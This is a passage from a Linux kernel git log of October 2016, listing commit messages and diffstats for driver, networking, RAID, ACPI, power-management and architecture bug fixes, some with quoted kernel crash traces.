lose dma sync. Fixes: 89d44f0a6c73 ('net/mlx5_core: Add pci error handlers to mlx5_core driver') Signed-off-by: Mohamad Haj Yahia Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/health.c | 45 ++++++++++++++++++++-- drivers/net/ethernet/mellanox/mlx5/core/main.c | 18 ++++++--- .../net/ethernet/mellanox/mlx5/core/mlx5_core.h | 1 + include/linux/mlx5/driver.h | 1 + 4 files changed, 56 insertions(+), 9 deletions(-) commit 05ac2c0b7438ea08c5d54b48797acf9b22cb2f6f Author: Mohamad Haj Yahia Date: Tue Oct 25 18:36:33 2016 +0300 net/mlx5: Fix race between PCI error handlers and health work Currently there is a race between the health care work and the kernel pci error handlers because both of them detect the error, the first one to be called will do the error handling. There is a chance that health care will disable the pci after resuming pci slot. Also create a separate WQ because now we will have two types of health works, one for the error detection and one for the recovery. Fixes: 89d44f0a6c73 ('net/mlx5_core: Add pci error handlers to mlx5_core driver') Signed-off-by: Mohamad Haj Yahia Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/health.c | 30 +++++++++++++++++++++--- drivers/net/ethernet/mellanox/mlx5/core/main.c | 9 +++++-- include/linux/mlx5/driver.h | 4 ++++ 3 files changed, 38 insertions(+), 5 deletions(-) commit 2241007b3d783cbdbaa78c30bdb1994278b6f9b9 Author: Mohamad Haj Yahia Date: Tue Oct 25 18:36:32 2016 +0300 net/mlx5: Clear health sick bit when starting health poll The health sick status should be cleared when we start the health poll. This is crucial for driver reload (unload + load) in order to behave right in case of health issue. Fixes: fd76ee4da55a ('net/mlx5_core: Fix internal error detection conditions') Signed-off-by: Mohamad Haj Yahia Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/health.c | 1 + 1 file changed, 1 insertion(+) commit 247f139cdae73b4f47bd348d05dff1afd40b84b6 Author: Mohamad Haj Yahia Date: Tue Oct 25 18:36:31 2016 +0300 net/mlx5: Change the acl enable prototype to return status The Ingress/Egress ACL enable function may fail and it should return status to its caller to avoid NULL pointer dereference. Fixes: f942380c1239 ('net/mlx5: E-Switch, Vport ingress/egress ACLs rules for spoofchk') Signed-off-by: Mohamad Haj Yahia Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/eswitch.c | 50 +++++++++++++++-------- 1 file changed, 34 insertions(+), 16 deletions(-) commit 5e1e93c7047381b81236f82f60c15d49c510d1a7 Author: Mohamad Haj Yahia Date: Tue Oct 25 18:36:30 2016 +0300 net/mlx5e: Unregister netdev before detaching it Detaching the netdev before unregistering it cause some netdev cleanup ndos to fail because they check presence of the netdev, so we need to unregister the netdev first. Fixes: 26e59d8077a3 ('net/mlx5e: Implement mlx5e interface attach/detach callbacks') Signed-off-by: Mohamad Haj Yahia Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 2 +- drivers/net/ethernet/mellanox/mlx5/core/en_rep.c | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) commit 2b029556667a7fc1aea731c5828e501656f87653 Author: Saeed Mahameed Date: Tue Oct 25 18:36:29 2016 +0300 net/mlx5e: Choose best nearest LRO timeout Instead of predicting the index of the wanted LRO timeout value from hardware capabilities, look for the nearest LRO timeout value. Fixes: 5c50368f3831 ('net/mlx5e: Light-weight netdev open/stop') Signed-off-by: Saeed Mahameed Signed-off-by: Mohamad Haj Yahia Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en.h | 5 +++++ drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 19 ++++++++++++++++--- 2 files changed, 21 insertions(+), 3 deletions(-) commit e83d6955fe422f120b0e98e4f02496af89845eef Author: Paul Blakey Date: Tue Oct 25 18:36:28 2016 +0300 net/mlx5: Correctly initialize last use of flow counters Currently, last use timestamp is initialized to zero. This is not the expected value by higher layers such as when we do TC action offloading. To fix that, set it to the current time, e.g when the counter/rule is offloaded. This is the same behaviour of non-offloaded TC actions. Fixes: 43a335e055bb ('mlx5_core: Flow counters infrastructure') Signed-off-by: Paul Blakey Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/fs_counters.c | 1 + 1 file changed, 1 insertion(+) commit 32dba76a7a3104b2815f31b1755f4c0ba1f01a78 Author: Paul Blakey Date: Tue Oct 25 18:36:27 2016 +0300 net/mlx5: Fix autogroups groups num not decreasing Autogroups groups num is increased when creating a new flow group, but is never decreased. Now decreasing it when deleting a flow group. Fixes: f0d22d187473 ('net/mlx5_core: Introduce flow steering autogrouped flow table') Signed-off-by: Paul Blakey Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/fs_core.c | 3 +++ 1 file changed, 3 insertions(+) commit eccec8da3b4e6f403040c7187338a46d2ea27c20 Author: Paul Blakey Date: Tue Oct 25 18:36:26 2016 +0300 net/mlx5: Keep autogroups list ordered Finding a new autogroup range is done by going over a group list sorted by each group start index. The search is stopped after finding the first free range. Adding the newly created group to the list is wrongly added to the end of the list regardless of its start index as the parameter of where to insert it is ignored. This commit makes sure to use that unused parameter to insert it where requested. Fixes: f0d22d187473 ('net/mlx5_core: Introduce flow steering autogrouped flow table') Signed-off-by: Paul Blakey Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/fs_core.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit bba1574c2f11d674bf343f3cf307b33d19f73d9d Author: Daniel Jurgens Date: Tue Oct 25 18:36:25 2016 +0300 net/mlx5: Always Query HCA caps after setting them Always query the HCA caps after setting them to update the capablities data structures. Not doing so results in incorrect capabilities being reported including max_dc, max_qp and several others. Fixes: 59211bd3b632 ("net/mlx5: Split the load/unload flow into hardware and software flows") Signed-off-by: Daniel Jurgens Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/main.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit b47bd6ea40636362a8b6605de51207cc387ba0b8 Author: Daniel Jurgens Date: Tue Oct 25 18:36:24 2016 +0300 {net, ib}/mlx5: Make cache line size determination at runtime. ARM 64B cache line systems have L1_CACHE_BYTES set to 128. cache_line_size() will return the correct size. Fixes: cf50b5efa2fe('net/mlx5_core/ib: New device capabilities handling.') Signed-off-by: Daniel Jurgens Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/infiniband/hw/mlx5/main.c | 2 +- drivers/infiniband/hw/mlx5/qp.c | 1 - drivers/net/ethernet/mellanox/mlx5/core/alloc.c | 31 +++++++++++++++++++++---- include/linux/mlx5/driver.h | 11 --------- 4 files changed, 27 insertions(+), 18 deletions(-) commit bf911e985d6bbaa328c20c3e05f4eb03de11fdd6 Author: Marcelo Ricardo Leitner Date: Tue Oct 25 14:27:39 2016 -0200 sctp: validate chunk len before actually using it Andrey Konovalov reported that KASAN detected that SCTP was using a slab beyond the boundaries. It was caused because when handling out of the blue packets in function sctp_sf_ootb() it was checking the chunk len only after already processing the first chunk, validating only for the 2nd and subsequent ones. The fix is to just move the check upwards so it's also validated for the 1st chunk. Reported-by: Andrey Konovalov Tested-by: Andrey Konovalov Signed-off-by: Marcelo Ricardo Leitner Reviewed-by: Xin Long Acked-by: Neil Horman Signed-off-by: David S. Miller net/sctp/sm_statefuns.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 1e90a13d0c3dc94512af1ccb2b6563e8297838fa Author: Thomas Gleixner Date: Sat Oct 29 13:42:42 2016 +0200 x86/smpboot: Init apic mapping before usage The recent changes, which forced the registration of the boot cpu on UP systems, which do not have ACPI tables, have been fixed for systems w/o local APIC, but left a wreckage for systems which have neither ACPI nor mptables, but the CPU has an APIC, e.g. virtualbox. The boot process crashes in prefill_possible_map() as it wants to register the boot cpu, which needs to access the local apic, but the local APIC is not yet mapped. There is no reason why init_apic_mapping() can't be invoked before prefill_possible_map(). So instead of playing another silly early mapping game, as the ACPI/mptables code does, we just move init_apic_mapping() before the call to prefill_possible_map(). In hindsight, I should have noticed that combination earlier. Sorry for the churn (also in stable)! Fixes: ff8560512b8d ("x86/boot/smp: Don't try to poke disabled/non-existent APIC") Reported-and-debugged-by: Michal Necasek Reported-and-tested-by: Wolfgang Bauer Cc: prarit@redhat.com Cc: ville.syrjala@linux.intel.com Cc: michael.thayer@oracle.com Cc: knut.osmundsen@oracle.com Cc: frank.mehnert@oracle.com Cc: Borislav Petkov Cc: stable@vger.kernel.org Link: http://lkml.kernel.org/r/alpine.DEB.2.20.1610282114380.5053@nanos Signed-off-by: Thomas Gleixner arch/x86/kernel/setup.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 1217e1d1999ed6c9c1e1b1acae0a74ab70464ae2 Author: NeilBrown Date: Fri Oct 28 15:59:41 2016 +1100 md: be careful not lot leak internal curr_resync value into metadata. -- (all) mddev->curr_resync usually records where the current resync is up to, but during the starting phase it has some "magic" values. 1 - means that the array is trying to start a resync, but has yielded to another array which shares physical devices, and also needs to start a resync 2 - means the array is trying to start resync, but has found another array which shares physical devices and has already started resync. 3 - means that resync has commensed, but it is possible that nothing has actually been resynced yet. It is important that this value not be visible to user-space and particularly that it doesn't get written to the metadata, as the resync or recovery checkpoint. In part, this is because it may be slightly higher than the correct value, though this is very rare. In part, because it is not a multiple of 4K, and some devices only support 4K aligned accesses. There are two places where this value is propagates into either ->curr_resync_completed or ->recovery_cp or ->recovery_offset. These currently avoid the propagation of values 1 and 3, but will allow 3 to leak through. Change them to only propagate the value if it is > 3. As this can cause an array to fail, the patch is suitable for -stable. Cc: stable@vger.kernel.org (v3.7+) Reported-by: Viswesh Signed-off-by: NeilBrown Signed-off-by: Shaohua Li drivers/md/md.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 7449f699b2fb23bdee0a0f03aa4efb5f96fd403f Author: Tomasz Majchrzak Date: Fri Oct 28 14:45:58 2016 +0200 raid1: handle read error also in readonly mode If write is the first operation on a disk and it happens not to be aligned to page size, block layer sends read request first. If read operation fails, the disk is set as failed as no attempt to fix the error is made because array is in auto-readonly mode. Similarily, the disk is set as failed for read-only array. Take the same approach as in raid10. Don't fail the disk if array is in readonly or auto-readonly mode. Try to redirect the request first and if unsuccessful, return a read error. Signed-off-by: Tomasz Majchrzak Signed-off-by: Shaohua Li drivers/md/raid1.c | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) commit 9a8b27fac5bbb77337cc2e5d31d37c9936782d87 Author: Shaohua Li Date: Thu Oct 27 15:22:13 2016 -0700 raid5-cache: correct condition for empty metadata write As long as we recover one metadata block, we should write the empty metadata write. The original code could make recovery corrupted if only one meta is valid. Reported-by: Zhengyuan Liu Signed-off-by: Shaohua Li drivers/md/raid5-cache.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0e2ce9d3fcba5f92dd6c2b27d82690e49d0c0854 Merge: 3065616 8ff0513 Author: Brian Norris Date: Fri Oct 28 19:05:25 2016 -0700 Merge tag 'nand/fixes-for-4.9-rc3' of github.com:linux-nand/linux From Boris: """ Three simple fixes: - the first one is fixing a non-critical bug in the gpmi driver - the second one is fixing a bug in the 'automatic NAND timings selection' feature introduced in 4.9-rc1 - the last one is fixing a false positive uninitialized-var warning """ Acked-by: Marek Vasut commit c067affcd316a36a28beaf8ea8c39db22a88c778 Merge: b546e0c 21e2d9d Author: Linus Torvalds Date: Fri Oct 28 18:34:19 2016 -0700 Merge tag 'acpi-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm Pull ACPI fixes from Rafael Wysocki: "These fix recent ACPICA regressions, an older PCI IRQ management regression, and an incorrect return value of a function in the APEI code. Specifics: - Fix three ACPICA issues related to the interpreter locking and introduced by recent changes in that area (Lv Zheng). - Fix a PCI IRQ management regression introduced during the 4.7 cycle and related to the configuration of shared IRQs on systems with an ISA bus (Sinan Kaya). - Fix up a return value of one function in the APEI code (Punit Agrawal)" * tag 'acpi-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm: ACPICA: Dispatcher: Fix interpreter locking around acpi_ev_initialize_region() ACPICA: Dispatcher: Fix an unbalanced lock exit path in acpi_ds_auto_serialize_method() ACPICA: Dispatcher: Fix order issue of method termination ACPI / APEI: Fix incorrect return value of ghes_proc() ACPI/PCI: pci_link: Include PIRQ_PENALTY_PCI_USING for ISA IRQs ACPI/PCI: pci_link: penalize SCI correctly ACPI/PCI/IRQ: assign ISA IRQ directly during early boot stages commit b546e0c289f7e9faf86999d34e895ee2b31c719b Merge: 1308fd7 8b2ada2 Author: Linus Torvalds Date: Fri Oct 28 18:29:13 2016 -0700 Merge tag 'pm-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm Pull power management fixes from Rafael Wysocki: "These fix two intel_pstate issues related to the way it works when the scaling_governor sysfs attribute is set to "performance" and fix up messages in the system suspend core code. Specifics: - Fix a missing KERN_CONT in a system suspend message by converting the affected code to using pr_info() and pr_cont() instead of the "raw" printk() (Jon Hunter). - Make intel_pstate set the CPU P-state from its .set_policy() callback when the scaling_governor sysfs attribute is set to "performance" so that it interacts with NOHZ_FULL more predictably which was the case before 4.7 (Rafael Wysocki). - Make intel_pstate always request the maximum allowed P-state when the scaling_governor sysfs attribute is set to "performance" to prevent it from effectively ingoring that setting is some situations (Rafael Wysocki)" * tag 'pm-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm: cpufreq: intel_pstate: Always set max P-state in performance mode PM / suspend: Fix missing KERN_CONT for suspend message cpufreq: intel_pstate: Set P-state upfront in performance mode commit 1308fd75e5ae211ee2ad688a58e4d7d0d8df4975 Merge: 6fcc8ce b75dcd9 Author: Linus Torvalds Date: Fri Oct 28 17:02:58 2016 -0700 Merge tag 'arc-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/vgupta/arc Pull ARC updates from Vineet Gupta: - support IDU intc for UP builds - support gz, lzma compressed uImage [Daniel Mentz] - adjust /proc/cpuinfo for non-continuous cpu ids [Noam Camus] - syscall for userspace cmpxchg assist for configs lacking hardware atomics - rework of boot log printing mainly for identifying older arc700 cores - retiring some old code, build toggles * tag 'arc-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/vgupta/arc: ARC: module: print pretty section names ARC: module: elide loop to save reference to .eh_frame ARC: mm: retire ARC_DBG_TLB_MISS_COUNT... ARC: build: retire old toggles ARC: boot log: refactor cpu name/release printing ARC: boot log: remove awkward space comma from MMU line ARC: boot log: don't assume SWAPE instruction support ARC: boot log: refactor printing abt features not captured in BCRs ARCv2: boot log: print IOC exists as well as enabled status ARCv2: IOC: use @ioc_enable not @ioc_exist where intended ARC: syscall for userspace cmpxchg assist ARC: fix build warning in elf.h ARC: Adjust cpuinfo for non-continuous cpu ids ARC: [build] Support gz, lzma compressed uImage ARCv2: intc: untangle SMP, MCIP and IDU commit 21e2d9d5292f8a5cd1aa4e63891437589d233d35 Merge: 8633db6 98756f5 806487a Author: Rafael J. Wysocki Date: Sat Oct 29 01:58:03 2016 +0200 Merge branches 'acpica-fixes', 'acpi-pci-fixes' and 'acpi-apei-fixes' * acpica-fixes: ACPICA: Dispatcher: Fix interpreter locking around acpi_ev_initialize_region() ACPICA: Dispatcher: Fix an unbalanced lock exit path in acpi_ds_auto_serialize_method() ACPICA: Dispatcher: Fix order issue of method termination * acpi-pci-fixes: ACPI/PCI: pci_link: Include PIRQ_PENALTY_PCI_USING for ISA IRQs ACPI/PCI: pci_link: penalize SCI correctly ACPI/PCI/IRQ: assign ISA IRQ directly during early boot stages * acpi-apei-fixes: ACPI / APEI: Fix incorrect return value of ghes_proc() commit 8633db6b027952449e155a316f4ae3a530bbe18f Author: Lv Zheng Date: Wed Oct 26 15:42:01 2016 +0800 ACPICA: Dispatcher: Fix interpreter locking around acpi_ev_initialize_region() In the code path of acpi_ev_initialize_region(), there is namespace modification code unlocked. This patch tunes the code to make sure such modification are always locked. Fixes: 74f51b80a0c4 (ACPICA: Namespace: Fix dynamic table loading issues) Tested-by: Imre Deak Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/dsinit.c | 11 +++-------- drivers/acpi/acpica/dsmethod.c | 12 +++--------- drivers/acpi/acpica/dswload2.c | 2 -- drivers/acpi/acpica/evrgnini.c | 3 +++ drivers/acpi/acpica/nsload.c | 2 ++ 5 files changed, 11 insertions(+), 19 deletions(-) commit 8121aa26e32012ca89afafa5e503b879950ac0fe Author: Lv Zheng Date: Wed Oct 26 15:40:20 2016 +0800 ACPICA: Dispatcher: Fix an unbalanced lock exit path in acpi_ds_auto_serialize_method() There is a lock unbalanced exit path in acpi_ds_initialize_method(), this patch corrects it. Fixes: 441ad11d078f (ACPICA: Dispatcher: Fix a mutex issue for method auto serialization) Tested-by: Imre Deak Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/dsmethod.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 25ccd2429fd0af5b9c2c136c8c593491aeabf162 Author: Lv Zheng Date: Wed Oct 26 15:40:12 2016 +0800 ACPICA: Dispatcher: Fix order issue of method termination The last step of the method termination should be the end of the method serialization. Otherwise, the steps happening after it will face the race issues that cannot be protected by the method serialization mechanism. This patch fixes this issue by moving the per-method-object deletion code prior than the end of the method serialization. Otherwise, the possible race issues may result in AE_ALREADY_EXISTS error in a parallel environment. Fixes: 74f51b80a0c4 (ACPICA: Namespace: Fix dynamic table loading issues) Reported-and-tested-by: Imre Deak Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/dsmethod.c | 40 ++++++++++++++++++++-------------------- 1 file changed, 20 insertions(+), 20 deletions(-) commit 6fcc8cea8279a0d37143e9af806aa9989193a8dd Merge: b49c317 fb479e4 Author: Linus Torvalds Date: Fri Oct 28 16:52:28 2016 -0700 Merge tag 'powerpc-4.9-4' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux Pull powerpc fixes from Michael Ellerman: "Fixes marked for stable: - Convert cmp to cmpd in idle enter sequence (Segher Boessenkool) - cxl: Fix leaking pid refs in some error paths (Vaibhav Jain) - Re-fix race condition between going idle and entering guest (Paul Mackerras) - Fix race condition in setting lock bit in idle/wakeup code (Paul Mackerras) - radix: Use tlbiel only if we ever ran on the current cpu (Aneesh Kumar K.V) - relocation, register save fixes for system reset interrupt (Nicholas Piggin) Fixes for code merged this cycle: - Fix CONFIG_ALIVEC typo in restore_tm_state() (Valentin Rothberg) - KVM: PPC: Book3S HV: Fix build error when SMP=n (Michael Ellerman)" * tag 'powerpc-4.9-4' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux: powerpc/64s: relocation, register save fixes for system reset interrupt powerpc/mm/radix: Use tlbiel only if we ever ran on the current cpu powerpc/process: Fix CONFIG_ALIVEC typo in restore_tm_state() powerpc/64: Fix race condition in setting lock bit in idle/wakeup code powerpc/64: Re-fix race condition between going idle and entering guest cxl: Fix leaking pid refs in some error paths powerpc: Convert cmp to cmpd in idle enter sequence KVM: PPC: Book3S HV: Fix build error when SMP=n commit 8b2ada27dc1045e8191673bf769a1136ce8a0127 Merge: 2f1d407 1adb469 Author: Rafael J. Wysocki Date: Sat Oct 29 01:29:17 2016 +0200 Merge branches 'pm-cpufreq-fixes' and 'pm-sleep-fixes' * pm-cpufreq-fixes: cpufreq: intel_pstate: Always set max P-state in performance mode cpufreq: intel_pstate: Set P-state upfront in performance mode * pm-sleep-fixes: PM / suspend: Fix missing KERN_CONT for suspend message commit b49c3170bf2803329c0daff8e386e08f50f1729d Merge: ed99d36 f92b760 Author: Linus Torvalds Date: Fri Oct 28 16:27:16 2016 -0700 Merge branch 'perf-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull perf fixes from Ingo Molnar: "Misc kernel fixes: a virtualization environment related fix, an uncore PMU driver removal handling fix, a PowerPC fix and new events for Knights Landing" * 'perf-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: perf/x86/intel: Honour the CPUID for number of fixed counters in hypervisors perf/powerpc: Don't call perf_event_disable() from atomic context perf/core: Protect PMU device removal with a 'pmu_bus_running' check, to fix CONFIG_DEBUG_TEST_DRIVER_REMOVE=y kernel panic perf/x86/intel/cstate: Add C-state residency events for Knights Landing commit 6a84fb4b4e439a8ef0ce19ec7e7661ad76f655c9 Author: Dan Williams Date: Fri Oct 28 14:34:51 2016 -0700 device-dax: check devm_nsio_enable() return value If the dax_pmem driver is passed a resource that is already busy the driver probe attempt should fail with a message like the following: dax_pmem dax0.1: could not reserve region [mem 0x100000000-0x11fffffff] However, if we do not catch the error we crash for the obvious reason of accessing memory that is not mapped. BUG: unable to handle kernel paging request at ffffc90020001000 IP: [] __memcpy+0x12/0x20 [..] Call Trace: [] ? nsio_rw_bytes+0x60/0x180 [] nd_pfn_validate+0x75/0x320 [] nvdimm_setup_pfn+0xb9/0x5d0 [] ? devm_nsio_enable+0xff/0x110 [] dax_pmem_probe+0x59/0x260 Cc: Fixes: ab68f2622136 ("/dev/dax, pmem: direct access to persistent memory") Reported-by: Dave Hansen Signed-off-by: Dan Williams drivers/dax/pmem.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 18e601d6adae5042f82d105ccd3d4498050f2ebf Author: Jeff Layton Date: Mon Oct 24 20:33:23 2016 -0400 sunrpc: fix some missing rq_rbuffer assignments We've been seeing some crashes in testing that look like this: BUG: unable to handle kernel NULL pointer dereference at (null) IP: [] memcpy_orig+0x29/0x110 PGD 212ca2067 PUD 212ca3067 PMD 0 Oops: 0002 [#1] SMP Modules linked in: rpcsec_gss_krb5 nfsv4 dns_resolver nfs fscache ppdev parport_pc i2c_piix4 sg parport i2c_core virtio_balloon pcspkr acpi_cpufreq nfsd auth_rpcgss nfs_acl lockd grace sunrpc ip_tables xfs libcrc32c sd_mod ata_generic pata_acpi virtio_scsi 8139too ata_piix libata 8139cp mii virtio_pci floppy virtio_ring serio_raw virtio CPU: 1 PID: 1540 Comm: nfsd Not tainted 4.9.0-rc1 #39 Hardware name: Red Hat KVM, BIOS 0.5.1 01/01/2007 task: ffff88020d7ed200 task.stack: ffff880211838000 RIP: 0010:[] [] memcpy_orig+0x29/0x110 RSP: 0018:ffff88021183bdd0 EFLAGS: 00010206 RAX: 0000000000000000 RBX: ffff88020d7fa000 RCX: 000000f400000000 RDX: 0000000000000014 RSI: ffff880212927020 RDI: 0000000000000000 RBP: ffff88021183be30 R08: 01000000ef896996 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: ffff880211704ca8 R13: ffff88021473f000 R14: 00000000ef896996 R15: ffff880211704800 FS: 0000000000000000(0000) GS:ffff88021fc80000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000000 CR3: 0000000212ca1000 CR4: 00000000000006e0 Stack: ffffffffa01ea087 ffffffff63400001 ffff880215145e00 ffff880211bacd00 ffff88021473f2b8 0000000000000004 00000000d0679d67 ffff880211bacd00 ffff88020d7fa000 ffff88021473f000 0000000000000000 ffff88020d7faa30 Call Trace: [] ? svc_tcp_recvfrom+0x5a7/0x790 [sunrpc] [] svc_recv+0xad8/0xbd0 [sunrpc] [] nfsd+0xde/0x160 [nfsd] [] ? nfsd_destroy+0x60/0x60 [nfsd] [] kthread+0xd8/0xf0 [] ret_from_fork+0x1f/0x40 [] ? kthread_park+0x60/0x60 Code: 00 00 48 89 f8 48 83 fa 20 72 7e 40 38 fe 7c 35 48 83 ea 20 48 83 ea 20 4c 8b 06 4c 8b 4e 08 4c 8b 56 10 4c 8b 5e 18 48 8d 76 20 <4c> 89 07 4c 89 4f 08 4c 89 57 10 4c 89 5f 18 48 8d 7f 20 73 d4 RIP [] memcpy_orig+0x29/0x110 RSP CR2: 0000000000000000 Both Bruce and Eryu ran a bisect here and found that the problematic patch was 68778945e46 (SUNRPC: Separate buffer pointers for RPC Call and Reply messages). That patch changed rpc_xdr_encode to use a new rq_rbuffer pointer to set up the receive buffer, but didn't change all of the necessary codepaths to set it properly. In particular the backchannel setup was missing. We need to set rq_rbuffer whenever rq_buffer is set. Ensure that it is. Reviewed-by: Chuck Lever Tested-by: Chuck Lever Reported-by: Eryu Guan Tested-by: Eryu Guan Fixes: 68778945e46 "SUNRPC: Separate buffer pointers..." Reported-by: J. Bruce Fields Signed-off-by: Jeff Layton Signed-off-by: J. Bruce Fields net/sunrpc/xprtrdma/svc_rdma_backchannel.c | 1 + net/sunrpc/xprtsock.c | 1 + 2 files changed, 2 insertions(+) commit 3b496626ee8f07919256a4e99cddf42ecd4ba891 Author: Alex Deucher Date: Thu Oct 27 18:33:00 2016 -0400 drm/amdgpu: add support for new smc firmware on iceland Newer iceland parts require new smc firmware. Reviewed-by: Huang Rui Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/amdgpu/amdgpu_cgs.c | 7 ++++++- drivers/gpu/drm/amd/amdgpu/vi.c | 1 + 2 files changed, 7 insertions(+), 1 deletion(-) commit 646cccb55b26b95b981ea9a63512260d0c21cac3 Author: Alex Deucher Date: Wed Oct 26 16:41:39 2016 -0400 drm/amdgpu: add support for new smc firmware on tonga Newer tonga parts require new smc firmware. Reviewed-by: Huang Rui Reviewed-by: Eric Huang Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/amdgpu/amdgpu_cgs.c | 6 +++++- drivers/gpu/drm/amd/amdgpu/vi.c | 1 + 2 files changed, 6 insertions(+), 1 deletion(-) commit ed99d3673e082b78b20208f346d2cd375483a779 Merge: b92d964 52e73eb Author: Linus Torvalds Date: Fri Oct 28 11:47:45 2016 -0700 Merge branch 'libnvdimm-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/nvdimm/nvdimm Pull libnvdimm fixes from Dan Williams: "A build fix, a NULL de-reference found by static analysis, a misuse of the percpu_ref_exit() (tagged for -stable), and notification of failed attempts to clear media errors. These patches have received a build success notification from the 0day- kbuild-robot and appeared in next-20161028" * 'libnvdimm-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/nvdimm/nvdimm: device-dax: fix percpu_ref_exit ordering nvdimm: make CONFIG_NVDIMM_DAX 'bool' pmem: report error on clear poison failure libnvdimm, namespace: potential NULL deref on allocation error commit b92d9648edcc56baf537afe491b228f158b68fcb Merge: c38c04c 3fa72fe Author: Linus Torvalds Date: Fri Oct 28 11:31:06 2016 -0700 Merge tag 'arm64-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux Pull arm64 fixes from Will Deacon: "Three arm64 fixes for -rc3. They're all pretty straightforward: a couple of NUMA issues from the Huawei folks and a thinko in __page_to_voff that seems to be benign, but is certainly better off fixed. Summary: - couple of NUMA fixes - thinko in __page_to_voff" * tag 'arm64-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux: arm64: mm: fix __page_to_voff definition arm64/numa: fix incorrect log for memory-less node arm64/numa: fix pcpu_cpu_distance() to get correct CPU proximity commit c38c04c630a5fb626e93b7530671a67feab9596c Merge: a8006bd 1c27f64 Author: Linus Torvalds Date: Fri Oct 28 11:28:14 2016 -0700 Merge branch 'x86-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull x86 fixes from Ingo Molnar: "Misc fixes: three build fixes, an unwinder fix and a microcode loader fix" * 'x86-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: x86/microcode/AMD: Fix more fallout from CONFIG_RANDOMIZE_MEMORY=y x86: Fix export for mcount and __fentry__ x86/quirks: Hide maybe-uninitialized warning x86/build: Fix build with older GCC versions x86/unwind: Fix empty stack dereference in guess unwinder commit a8006bd915095c40098bfcb684cc2bdfb414dc0d Merge: 965c4b7 6bad6bc Author: Linus Torvalds Date: Fri Oct 28 11:26:01 2016 -0700 Merge branch 'timers-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull timer fixes from Ingo Molnar: "Fix four timer locking races: two were noticed by Linus while reviewing the code while chasing for a corruption bug, and two from fixing spurious USB timeouts" * 'timers-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: timers: Prevent base clock corruption when forwarding timers: Prevent base clock rewind when forwarding clock timers: Lock base for same bucket optimization timers: Plug locking race vs. timer migration commit 06b113e9f28f8657715919087a3f54b77d1634ed Author: Laura Abbott Date: Fri Oct 28 09:59:38 2016 -0700 clk: xgene: Don't call __pa on ioremaped address ioremaped addresses are not linearly mapped so the physical address can not be figured out via __pa. More generally, there is no guarantee that backing value of an ioremapped address is a physical address at all. The value here is only used for debugging so just drop the call to __pa on the ioremapped address. Fixes: 6ae5fd381251 ("clk: xgene: Silence sparse warnings") Signed-off-by: Laura Abbott Acked-by: Loc Ho Signed-off-by: Stephen Boyd drivers/clk/clk-xgene.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit c2e169be8ce7bde1e4189dc6e72eb9861fe9b6fb Merge: 9ee7837 8b99bec Author: David S. Miller Date: Fri Oct 28 13:43:56 2016 -0400 Merge branch 'mlxsw-fixes' Jiri Pirko says: ==================== mlxsw: Couple of fixes Couple of LPM tree management fixes. ==================== Signed-off-by: David S. Miller commit 8b99becdc89ee7635137725e9fa76f304bb168f5 Author: Jiri Pirko Date: Tue Oct 25 11:25:57 2016 